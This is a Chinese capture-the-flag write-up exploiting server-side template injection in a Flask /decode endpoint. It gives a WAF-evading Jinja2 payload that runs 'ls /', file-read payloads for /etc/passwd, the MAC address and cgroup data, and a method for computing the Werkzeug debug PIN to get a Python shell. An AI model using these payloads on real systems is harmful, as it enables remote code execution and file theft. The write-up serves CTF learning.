前言:
ssti 模板注入这一块还是没有吃透啊,难受这题搞的。一定要抽时间透彻的学习学习ssti了。
发现ssti漏洞点
打开题目,查看hint,失败乃成功之母源码提示pin
。
- 如果解密出错会报错,得到错误页面。有源码泄漏。可以看到如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
[Open an interactive python shell in this frame] res = render_template_string(tmp) - 根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了。
- 我们进行绕过来尽可能的达到命令执行,因为有waf,我们对可能进行了过滤的单词使用拆分关键词进行绕过我们需要将其进行base64编码,这里值得注意的是如果网页不是提示
1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}nonono
而是直接报错,可能是你的base64有问题了。网上有些base64解密确实有问题,多换换,本地工具试试。
计算pin码的方法
只要拿到pin码
就相当于拿到了shell,想要拿到PIN码
必须知道:
1 | usrname: 就是启动这个 Flask的用户 |
服务器运行flask所登录的用户名
我们可以查看/etc/passwd文件。使用如下命令
1 | {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}} |
我们可以知道是flaskweb
用户。
getattr(mod, ‘file’, None)flask目录下的app.py的绝对路径
根据报错信息我们可以知道:
1 | /usr/local/lib/python3.7/site-packages/flask/app.py |
当前电脑的MAC地址
我们可以读取/sys/class/net/eth0/address
来获得mac的16进制:
1 | {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}} |
得到02:42:ae:00:1e:0e
将其转10进制2485410340366
许多工具都不准确,值得注意。
机器的id
linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串)
使用如下:
1 | {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}} |
得知:
1 | e7589bcf11d8b1f072f28454074a932798a86f05827bdbd7707b3c14f75e756c |
使用脚本
脚本网上抄的,自己太菜啊啊啊。。。
1 | import hashlib |
使用上面脚本即可得到 pin码
拿 flag
进入报错页面,鼠标移动到报错代码有一个cmd窗口类似的图标出现在代码右上角,我们点击它然后输入 pin码155-315-752
然后就可以执行python shell了
我们使用如下:
1 | import os |
即可得到flag。